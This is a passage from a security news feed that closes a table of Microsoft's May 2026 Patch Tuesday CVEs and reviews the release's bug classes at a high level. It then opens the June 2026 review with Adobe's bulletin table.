  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-35418"><span>CVE-2026-35418</span></a></td>
  <td width="256" class="xl73">Windows Cloud Files
  Mini Filter Driver Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33835"><span>CVE-2026-33835</span></a></td>
  <td width="256" class="xl73">Windows Cloud Files
  Mini Filter Driver Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34337"><span>CVE-2026-34337</span></a></td>
  <td width="256" class="xl73">Windows Cloud Files
  Mini Filter Driver Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40407"><span>CVE-2026-40407</span></a></td>
  <td width="256" class="xl73">Windows Common Log
  File System Driver Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40397"><span>CVE-2026-40397</span></a></td>
  <td width="256" class="xl73">Windows Common Log
  File System Driver Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42896"><span>CVE-2026-42896</span></a></td>
  <td width="256" class="xl73">Windows DWM Core
  Library Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-35419"><span>CVE-2026-35419</span></a></td>
  <td width="256" class="xl73">Windows DWM Core
  Library Information Disclosure<span> 
  </span>Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34336"><span>CVE-2026-34336</span></a></td>
  <td width="256" class="xl73">Windows DWM Core
  Library Information Disclosure<span> 
  </span>Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33834"><span>CVE-2026-33834</span></a></td>
  <td width="256" class="xl73">Windows Event Logging
  Service Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32209"><span>CVE-2026-32209</span></a></td>
  <td width="256" class="xl73">Windows Filtering
  Platform (WFP) Security Feature Bypass Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">4.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33841"><span>CVE-2026-33841</span></a></td>
  <td width="256" class="xl73">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-35420"><span>CVE-2026-35420</span></a></td>
  <td width="256" class="xl73">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40369"><span>CVE-2026-40369</span></a></td>
  <td width="256" class="xl73">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="71">
  <td class="xl67" height="71"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34332"><span>CVE-2026-34332</span></a></td>
  <td width="256" class="xl73">Windows Kernel-Mode
  Driver Remote Code Execution Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34339"><span>CVE-2026-34339</span></a></td>
  <td width="256" class="xl73">Windows Lightweight
  Directory Access Protocol (LDAP) Denial of Service Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34341"><span>CVE-2026-34341</span></a></td>
  <td width="256" class="xl73">Windows Link-Layer
  Discovery Protocol (LLDP) Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33838"><span>CVE-2026-33838</span></a></td>
  <td width="256" class="xl73">Windows Message
  Queuing (MSMQ) Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34342"><span>CVE-2026-34342</span></a></td>
  <td width="256" class="xl73">Windows Print Spooler
  Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41095"><span>CVE-2026-41095</span></a></td>
  <td width="256" class="xl73">Windows Projected File
  System Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34340"><span>CVE-2026-34340</span></a></td>
  <td width="256" class="xl73">Windows Projected File
  System Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40398"><span>CVE-2026-40398</span></a></td>
  <td width="256" class="xl73">Windows Remote Desktop
  Services Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21530"><span>CVE-2026-21530</span></a></td>
  <td width="256" class="xl73">Windows Rich Text Edit
  Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">6.7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32170"><span>CVE-2026-32170</span></a></td>
  <td width="256" class="xl73">Windows Rich Text Edit
  Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">6.7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40410"><span>CVE-2026-40410</span></a></td>
  <td width="256" class="xl73">Windows SMB Client
  Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-35415"><span>CVE-2026-35415</span></a></td>
  <td width="256" class="xl73">Windows Storage Spaces
  Controller Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34350"><span>CVE-2026-34350</span></a></td>
  <td width="256" class="xl73">Windows Storport
  Miniport Driver Denial of Service Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40405"><span>CVE-2026-40405</span></a></td>
  <td width="256" class="xl73">Windows TCP/IP Denial
  of Service Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40414"><span>CVE-2026-40414</span></a></td>
  <td width="256" class="xl73">Windows TCP/IP Denial
  of Service Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40401"><span>CVE-2026-40401</span></a></td>
  <td width="256" class="xl73">Windows TCP/IP Denial
  of Service Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">6.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40413"><span>CVE-2026-40413</span></a></td>
  <td width="256" class="xl73">Windows TCP/IP Denial
  of Service Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-35422"><span>CVE-2026-35422</span></a></td>
  <td width="256" class="xl73">Windows TCP/IP Driver
  Security Feature Bypass Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34351"><span>CVE-2026-34351</span></a></td>
  <td width="256" class="xl73">Windows TCP/IP
  Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40399"><span>CVE-2026-40399</span></a></td>
  <td width="256" class="xl73">Windows TCP/IP
  Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34334"><span>CVE-2026-34334</span></a></td>
  <td width="256" class="xl73">Windows TCP/IP
  Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40406"><span>CVE-2026-40406</span></a></td>
  <td width="256" class="xl73">Windows TCP/IP
  Information Disclosure Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33837"><span>CVE-2026-33837</span></a></td>
  <td width="256" class="xl73">Windows TCP/IP Local
  Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40415"><span>CVE-2026-40415</span></a></td>
  <td width="256" class="xl73">Windows TCP/IP Remote
  Code Execution Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42825"><span>CVE-2026-42825</span></a></td>
  <td width="256" class="xl73">Windows Telephony
  Service Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34338"><span>CVE-2026-34338</span></a></td>
  <td width="256" class="xl73">Windows Telephony
  Service Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40382"><span>CVE-2026-40382</span></a></td>
  <td width="256" class="xl73">Windows Telephony
  Service Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40380"><span>CVE-2026-40380</span></a></td>
  <td width="256" class="xl73">Windows Volume Manager
  Extension Driver Remote Code Execution Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">6.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40408"><span>CVE-2026-40408</span></a></td>
  <td width="256" class="xl73">Windows WAN ARP Driver
  Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34333"><span>CVE-2026-34333</span></a></td>
  <td width="256" class="xl73">Windows Win32k
  Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34347"><span>CVE-2026-34347</span></a></td>
  <td width="256" class="xl73">Windows Win32k
  Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-35417"><span>CVE-2026-35417</span></a></td>
  <td width="256" class="xl73">Windows Win32k
  Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42891"><span>CVE-2026-42891</span></a></td>
  <td width="256" class="xl73">Microsoft Edge
  (Chromium-based) for Android Spoofing Vulnerability</td>
  <td class="xl71">Moderate</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-35429"><span>CVE-2026-35429</span></a></td>
  <td width="256" class="xl73">Microsoft Edge
  (Chromium-based) for Android Spoofing Vulnerability</td>
  <td class="xl71">Moderate</td>
  <td class="xl69">4.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41107"><span>CVE-2026-41107</span></a></td>
  <td width="256" class="xl73">Microsoft Edge
  (Chromium-based) Information Disclosure Vulnerability</td>
  <td class="xl71">Moderate</td>
  <td class="xl69">7.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40416"><span>CVE-2026-40416</span></a></td>
  <td width="256" class="xl73">Microsoft
  Edge (Chromium-based) for Android Spoofing Vulnerability</td>
  <td class="xl72">Low</td>
  <td class="xl69">4.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 &lt;![if supportMisalignedColumns]&gt;
 <tr height="0">
  <td width="144"></td>
  <td width="256"></td>
  <td width="104"></td>
  <td width="104"></td>
  <td width="104"></td>
  <td width="104"></td>
  <td width="104"></td>
 </tr>
 &lt;![endif]&gt;
</table>











  
  









  <p class=""><em>* Indicates this CVE had been released by a third party and is now being included in Microsoft releases</em>.</p><p class=""><em>† Indicates further administrative actions are required to fully address the vulnerability.</em></p><p class=""><em> </em></p><p class="">Looking at the other Critical-rated bugs in this month’s release, there are quite a few scary-looking bugs (including a CVSS 10!), but there’s no action for the end user as Microsoft has already mitigated these bugs and is just now documenting them. There’s also this month’s crop of Office bugs where the Preview Pane is an attack vector. However, the bug in Office for Android does not have the Preview Pane vector; it’s simple open and own. The bug in the WiFi driver needs a network adjacent attacker. The SharePoint bug requires authentication, but anyone with site privileges has the authentication needed. The bug in SSO Plugin for Jira &amp; Confluence should really be called an authentication bypass, since it allows an unauthenticated attacker to gain access to a system.</p><p class="">Looking at the other code execution bugs, most are of the open and own variety as expected. The bug in Dynamic 365 (On Prem) requires high privileges. The Message Queueing bug requires an adjacent attacker. The bug in SQL Server requires authentication, but as usual, patching won’t be straightforward. Finally, there’s a bug in the kernel that leads to code execution. Most kernel bugs are privilege escalations, but this one could allow code execution if an attacker sends specially crafted NVMe over Fabrics (NVMe‑oF) response messages during the connection handshake process that contains an invalid header length value. Neat.</p><p class="">As usual, the vast majority of the Microsoft release fixes Elevation of Privilege (EoP) bugs. Also as usual, most simply lead to local attackers executing their code at SYSTEM-level privileges or administrative privileges, so there’s not much to add without further technical details about the bugs themselves. There are also a few bugs that just state the attacker could “gain ELEVATED privileges.” How obtuse. The bugs in Azure allow an attacker to access data otherwise hidden from them. The Edge bug allows threat actors to elevate to the privileges of the running application. The bug in Visual Studio allows attackers to get permissions associated with the MCP Server’s managed identity. Finally, there are a couple of sandbox escapes, too, which are always useful.</p><p class="">This month's update includes six Security Feature Bypass vulnerabilities. The most severe is in the Azure SDK for Java (CVSS 9.1). An attacker over the network can bypass the integrity protection provided by authentication tags on encrypted data, effectively manipulating encrypted input in a way that slips past integrity checks during decryption.  Close behind is the bypass affecting the GitHub Copilot integration in Visual Studio Code (CWE-74). This one requires a user interaction, but it allows an attacker to circumvent the path validation safeguards that normally control which files Copilot is permitted to modify. The other Visual Studio Code bypass involves cross-site scripting, improper link resolution, and information exposure triggered when a user opens or views a maliciously crafted notebook.  On the Windows networking side there are two bypasses. The first hits the Windows TCP/IP driver via an authentication bypass using an alternate channel. The other impacts the Windows Filtering Platform through improper access control, allowing a local, low-privileged attacker to bypass FQDN-based network security rules. Finally, there’s a Secure Boot bypass that, you guessed it, bypasses secure boot features.</p><p class="">Moving on to the Information Disclosure bugs fixed this month, we have 15 different CVEs. As usual, the majority of these simply result in info leaks consisting of unspecified memory contents or memory addresses. The bug in Power Automate could expose data marked “Sensitive” within Power Automate Desktop flows. One of the Word bugs could disclose NLTM hashes. The bug in Edge could disclose your cookies, which seems rude. The bug in Visual Studio could expose file path information. Finally, there’s a bug in Telnet for Windows 11 that leaks information being used by Telnet at the time. I didn’t even realize Windows 11 still had a telnet client.</p><p class="">The May release contains 10 spoofing bugs (plus the ones already addressed by Microsoft). The bug in Azure Machine Learning Notebooks vulnerability requires user interaction, but it could expose info through the Azure ML web interface to the attacker. There’s a cluster of fixes for Microsoft's mobile Office suite on Android. Excel, Word, and PowerPoint for Android all carry spoofing flaws rooted in improper access control. Two Copilot products are also affected by spoofing vulns. The M365 Copilot for Desktop has no details provided. The M365 Copilot for Android variant requires low privileges and producing only limited impact on confidentiality and integrity. Microsoft Teams for Android rounds out the mobile app spoofing bugs. Three Edge bugs close things out, all involving misrepresentation of information in the browser UI. </p><p class="">There are two Tampering bugs in this month’s release. The one in .NET Core allows threat actors to write files to an affected system. The other is in Outlook for iOS and manifests as a command injection bug.</p><p class="">There are eight DoS bugs in the May release, but as always, Microsoft provides little to no actionable information about the vulnerabilities. The most interesting from a practical standpoint are two TCP/IP bugs that allow a low-privilege Hyper-V guest to crash the host. Both are triggered from the adjacent network. On the broader network-exposure side, the ASP.NET Core bug is a straightforward infinite loop condition — an unauthenticated attacker sends a crafted request over the network and the server stops responding.</p><p class="">No new advisories are being released this month.</p><p class=""><strong>Looking Ahead</strong></p><p class="">Assuming I survive Pwn2Own Berlin (which is looking iffy at the moment), I’ll return on June 9th on what will hopefully be a smaller release than this one. Until then, stay safe, happy patching, and may all your reboots be smooth and clean!</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[The June 2026 Security Update Review]]></title>
<description><![CDATA[I’ve made it through Pwn2Own Berlin, had a little vacation, and now I’m back for Patch Tuesday. Microsoft and Adobe didn’t disappoint. In fact, they have heralded my return with the largest Patch Tuesday release ever. Thanks? Take a break from your regularly scheduled activities and let’s take a ...]]></description>
<link>https://tsecurity.de/de/3694563/hacking/the-june-2026-security-update-review/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694563/hacking/the-june-2026-security-update-review/</guid>
<pubDate>Sat, 25 Jul 2026 19:02:53 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p class="">I’ve made it through Pwn2Own Berlin, had a little vacation, and now I’m back for Patch Tuesday. Microsoft and Adobe didn’t disappoint. In fact, they have heralded my return with the largest Patch Tuesday release ever. Thanks? Take a break from your regularly scheduled activities and let’s take a look at the latest security patches from Adobe and Microsoft. If you’d rather watch the full video recap covering the entire release, you can check it out here:</p>





















  
  




  
















  
    
      
    
    
      
        
      
    
    
    



  






  <p class=""><strong>Adobe Patches for June 2026</strong></p><p class="">For June, Adobe released 11 bulletins addressing 123 unique CVEs in Adobe Acrobat Reader, ColdFusion, Experience Manager, Experience Manager Forms, InDesign, InCopy, Substance 3D Sampler, Content Credentials SDK, Dreamweaver, Format Plugins, and Adobe Campaign Classic. A total of 11 of these CVEs were reported through the ZDI program.</p><p class="">Here’s this month’s overview table:</p>





















  
  




  


  
    


<table>
<colgroup>
  <col>
  <col>
  <col>
  <col>
  <col>
  <col>
  <col>
</colgroup>
<thead>
  <tr>
    <th>Bulletin ID</th>
    <th>Product</th>
    <th>CVE Count</th>
    <th>Highest Severity</th>
    <th>Highest CVSS</th>
    <th>Exploited</th>
    <th>Deployment Priority</th>
  </tr>
</thead>
<tbody>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/campaign/apsb26-66.html" target="_blank">APSB26-66</a></td>
    <td>Adobe Campaign Classic</td>
    <td>2</td>
    <td>Critical</td>
    <td>10.0</td>
    <td>No</td>
    <td>1</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/coldfusion/apsb26-64.html" target="_blank">APSB26-64</a></td>
    <td>Adobe ColdFusion</td>
    <td>7</td>
    <td>Critical</td>
    <td>9.6</td>
    <td>No</td>
    <td>1</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/acrobat/apsb26-63.html" target="_blank">APSB26-63</a></td>
    <td>Adobe Acrobat Reader</td>
    <td>20</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>2</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/aem-forms/apsb26-57.html" target="_blank">APSB26-57</a></td>
    <td>Adobe Experience Manager Forms</td>
    <td>3</td>
    <td>Critical</td>
    <td>9.3</td>
    <td>No</td>
    <td>2</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/dreamweaver/apsb26-62.html" target="_blank">APSB26-62</a></td>
    <td>Adobe Dreamweaver</td>
    <td>5</td>
    <td>Critical</td>
    <td>8.6</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/formatplugins/apsb26-65.html" target="_blank">APSB26-65</a></td>
    <td>Adobe Format Plugins</td>
    <td>2</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/incopy/apsb26-59.html" target="_blank">APSB26-59</a></td>
    <td>Adobe InCopy</td>
    <td>3</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/indesign/apsb26-58.html" target="_blank">APSB26-58</a></td>
    <td>Adobe InDesign</td>
    <td>12</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/substance3d-sampler/apsb26-60.html" target="_blank">APSB26-60</a></td>
    <td>Adobe Substance 3D Sampler</td>
    <td>4</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/content-authenticity-sdk/apsb26-61.html" target="_blank">APSB26-61</a></td>
    <td>Content Credentials SDK</td>
    <td>8</td>
    <td>Critical</td>
    <td>7.5</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/experience-manager/apsb26-56.html" target="_blank">APSB26-56</a></td>
    <td>Adobe Experience Manager</td>
    <td>57</td>
    <td>Important</td>
    <td>5.4</td>
    <td>No</td>
    <td>3</td>
  </tr>
</tbody>
<tfoot>
  <tr>
    <td>TOTAL</td>
    <td>11 bulletins</td>
    <td>123</td>
    <td></td>
    <td></td>
    <td></td>
    <td></td>
  </tr>
</tfoot>
</table>



  
  









